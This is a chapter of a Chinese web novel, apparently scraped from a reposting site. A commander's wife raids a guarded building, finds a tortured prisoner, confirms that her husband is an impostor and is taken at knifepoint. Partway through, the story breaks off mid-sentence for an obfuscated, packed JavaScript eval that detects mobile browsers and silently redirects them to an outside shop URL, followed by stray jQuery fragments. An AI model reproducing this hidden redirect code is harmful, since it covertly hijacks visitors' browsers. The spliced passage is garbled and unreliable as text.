文趣网 > 其他小说 > 假夫君夺她上位 > 19. 第19章
    观丰阁门前,裴轻鸿早早候在了那。

    沈榷骑马赶到后,裴轻鸿上前递给了他一个包袱。

    沈榷顺手将包袱挂在了马鞍上。

    裴轻鸿看向马鞍上挂着的另一个包袱,忍不住打趣道:“这是……嫂夫人备下的吧?”

    沈榷垂眸,看着那包袱上陆雁芝亲手打下的五色同心结,漆黑的瞳孔似多了几分柔光。

    “这几日我不在,让他们务必留意郡主府的动向。”他沉声吩咐道。

    江州暴乱,病榻上的帝王急召他入宫。

    此番入京,一来安抚圣上,稳住大局,二来调派各路人马支援江州,刺探敌情。

    裴轻鸿看了看四下,犹豫片刻到底还是上前几步,对沈榷低声道:“我此赴江州,观丰阁内无人坐镇,虽有令在先,下属们不敢托大,但你那郡主娘娘到底也不是善茬,若事败,你当做好应对之策。”

    沈榷眸光闪烁了一下,下意识地拂过那精致的五色同心结:“我会用这几次军功换她一命,只要她的命在我手里,其他便可徐徐图之。”

    裴轻鸿拧了拧眉,对此并不认可:“你可知你此举会触怒圣上?何况即便你得了圣意,郡主也未必会领你的情。”

    “她既是我的妻,我自有办法教她领下我的情。”他眸光发沉,透着一丝不容置喙的威压。

    裴轻鸿叹了口气,便知无法再劝:“那你,多加保重吧!”

    触怒圣上,即便最后得了圣意,只怕也未必能全须全尾地走出金暝卫府衙,当是十八班酷刑滋味皆尝试个遍。

    漫天风雪,沈榷独自骑马,自西门出,直奔京城。

    另一头,裴轻鸿则从南门而出,奔赴江州。

    ……

    雪下了几日终于停了。

    陆雁芝伏在案上,咳嗽声断断续续,她的身影像一根被风揉过的芦苇,肩膀不住颤动着。

    听竹从门外进来,便迅速合上房门,生怕冷风灌进来,惊扰了屋里的人。

    “怎么样?探听到了什么?”陆雁芝未施珠翠,长发披散在肩头,乍一看她那张苍白如纸的脸,竟是教听竹不敢去认。

    听竹鼻子一酸,有些想哭,却也知眼下不是伤怀的时候,忙上前禀报。

    “守卫二十人,分成三班,四个时辰一轮。白天人少,一楼四个,二楼两个,看着松散,实则警惕心很强。”

    “晚上八个,一楼四个二楼四个,子时换班。”

    陆雁芝随即将图纸在桌案上铺开,那是她从那乞丐手里拿到的观丰阁内部布局。

    观丰阁她也去过几次,与这乞丐所给的地图相差无多。

    时间本就仓促,再不动手,等到沈榷回来,她就再也没机会弄清楚事情的真相。

    陆雁芝问:“现在我们手里的暗卫还剩多少?”

    “照雪走后,但凡被派出执行任务的全都没回来,眼下我们手里只有十几号人。”听竹道。

    “观丰阁内几十号人,若正面对上并无胜算,好在沈榷不在,他们暂且不能把我怎样,答应我若出事切记不要恋战,带着我们的人先撤。”

    听竹隐隐觉得不对:“那主子你呢?”

    陆雁芝摇了摇头,神色坚定:“不用管我。”

    她一双瞳孔好似两个无底的黑洞,看不见一丝光亮,不论外界多么繁华绚丽,也照不进去半分。

    ……

    宁卢城的冬夜像一块冻透的铁,沉甸甸地扣在天地间。

    寒风吹打着紧闭的大门,门板轮番撞在门墩上,“哐哐”发出闷响。

    观丰阁一楼的几个伙计此刻正静静地盯着大门,盯得双眼发直。

    “今夜风挺大。”其中一人打了个哈欠,小声嘀咕。

    “我去看看!”另外一个站起身,一边舒展筋骨一边朝门口走去。

    门刚一打开,浓烟便顺着门缝钻了进来,再看外面整条街早已被一片红光吞没,热浪一阵又一阵地灌进来。

    “怎么走水了!”几个伙计面色大变,可不能让这火烧到观丰阁里来。

    起火的是斜对面的茶楼旁的阁楼,平日里是个堆杂物的偏厦,此刻俨然成了吐火的怪物。

    “还愣着干什么?还不快去通报管事的衙门?”众人的瞌睡一下子醒了。

    宁卢城内设宵禁,此刻街道上几乎是空无一人,观丰阁内几个办事的伙计倒也反应迅速,很快便召集了几十号人前往火场。

    眼下观丰阁内,除了几个重要位置,其余人皆被叫出去救火。

    楼内空缺,正是陆雁芝一行人趁虚而入的好时候。

    “这间屋子是观丰阁内防守最严密的地方,主子想要的,应该就在里面。”听竹跟在陆雁芝身后,沉声道。

    屋门打开的瞬间,寒风肆虐。

    陆雁芝那张清瘦的面孔显露在昏黄的烛光下,烛光夹杂着凛冽的刀光在她眉眼处闪烁,身后响起听竹缓缓抽刀的嘶响。

    屋内站着一人,见来人是陆雁芝,先是愣住,随即恭敬垂首:“郡主!”

    “此地不是郡主该来的地方,请回吧!”

    陆雁芝只字未语,侧身,身后的暗卫鱼贯而入。

    今夜的宁卢城……终究是要不太平了。

    火势汹涌,像是要把天烧出个窟窿来。

    陆雁芝站在漆黑的暗室,冰冷的牢笼反射着烛火的幽光,在她瞳孔里疯狂跳动着。

    她怔怔地望着牢笼里的人,距离上次相见不到月余,她却已经认不出了。

    “沈伯安?”陆雁芝唤他。

    牢笼里的人像被抽走了脊梁,弯起身子缩成一团,他闻声缓缓抬头,一张脸血肉模糊,早已没了从前的精明自持。

    “郡主?”他眼底闪过一丝惊诧,却又很快归于平静,“沈福海还好吗?”

    见对面迟迟不说话,他便又自言自语起来:“是我害了他!”

    “告诉我,你是怎么被抓到这儿来的?”陆雁芝问道。

    沈伯安眼神空洞,又似在回忆:“交货的第二天我便被带走了,我猜我应是一早就被盯上,或许从我踏上宁卢城的那一刻,他们就已经注意到了我。”

    “关城的那批货被朝廷劫了,你知道吗?”陆雁芝垂眸,语气中透着些许疲惫。

    沈伯安眼神微颤,空洞的眼像是忽然回了神:“难怪他们逼我画押认罪,原是为了指认镇北王。”

    陆雁芝心一下子

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17684800|206666||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    揪起来:“画押认罪?是什么时候的事?”

    “大抵是被抓回来后的第三天吧。”暗室内无光,沈伯安只能凭直觉算日子。

    陆雁芝一时间只觉头晕目眩,勉强撑着身子不倒下。

    “你和沈榷相熟吗?他是一个什么样的人?”

    “公子性格温润儒雅,从未对下人们发过脾气。”

    “他善骑射吗?”

    “公子是读书人,不善骑射。”

    “那他会下棋吗?棋艺如何?”

    “公子棋艺极好,曾得徐老赞赏。”

    “那他……”陆雁芝话至一半,忽觉胸前一窒,一阵血腥味涌至喉口。

    她缓了缓,从袖中抽出一卷纸。

    纸张展开,是几张少年的画像。

    “这几人里,谁是沈榷?你可能分辨?”陆雁芝声音发颤,事到如今,她心里早已有了答案,可只有亲眼看见真相,她才愿意相信。

    沈伯安伸出手,指向最边上的那幅画。

    陆雁芝点了点头,合上画纸,站起身来:“辛苦掌柜的,我现在就带你走。”

    “郡主,我就不走了,请帮我向我的主家传句话,我便感激不尽。伯安办事不力,愧对主家,请主家万万珍重。”沈伯安头点地,朝着祈城沈家的方向跪拜。

    陆雁芝想劝,可沈伯安早已存了死志,她自知多说无益。

    从暗室出来,她猛地愣在原地,见屋内躺满尸体,鲜血一直蔓延到她脚边,那些面孔她都认识,是随她而来的暗卫。

    “主子,快走!”听竹被人按在门口,半跪在地,满眼焦急地望着她。

    陆雁芝眼睫轻颤,视线扫过满地尸首,最终定格于坐在案几上的黑色身影。

    他一袭鹰纹玄袍尚未来得及褪下,手中握着的刀刃还在滴着残血。

    少年俊美的面庞被血浸染,看上去透着些古怪的妖异。

    他就那样静静地坐在案几上,整个人被一片血色笼罩,像极了一尊浴血罗煞。

    “聂星渊?”陆雁芝冷冷地望着他,眼底透着几分绝望。

    聂星渊像是回过神来,抬眸朝着她的方向看过去,他仿佛不敢相信自己的耳朵:“你叫我什么?”

    陆雁芝扯了扯唇角,眼底闪过一抹嘲弄,这出戏她已经陪他演累了,眼下是一丝一毫也演不下去了。

    她刻意忽视了他的存在,转身一步步朝着门外走去。

    “夫人!”

    她听见那声音从她的身后传来,带着明确的警告。

    陆雁芝疲惫地垂眸,整个人透着无声的叹息:“我累了,你可以选择杀了我。”

    话音落下,匕刃从身后绕到她的胸前,尖锐的利器轻轻抵进了她的氅衣。

    少年另只臂膀从后面搂住她的脖子,冰冷的呼吸若游蛇般缠绕在她的脖颈:“你以为……我不敢吗?”

    陆雁芝眼前一阵一阵发黑,最终意识彻底丧失,整个人径直朝前倒下。

    她感觉到胸前的匕首又往她的衣服里抵进了半寸。

    若是这般死了,也未尝不是一种解脱。

    她闭上眼,泪水悄然落下。

    再见了,沈榷——我的夫君。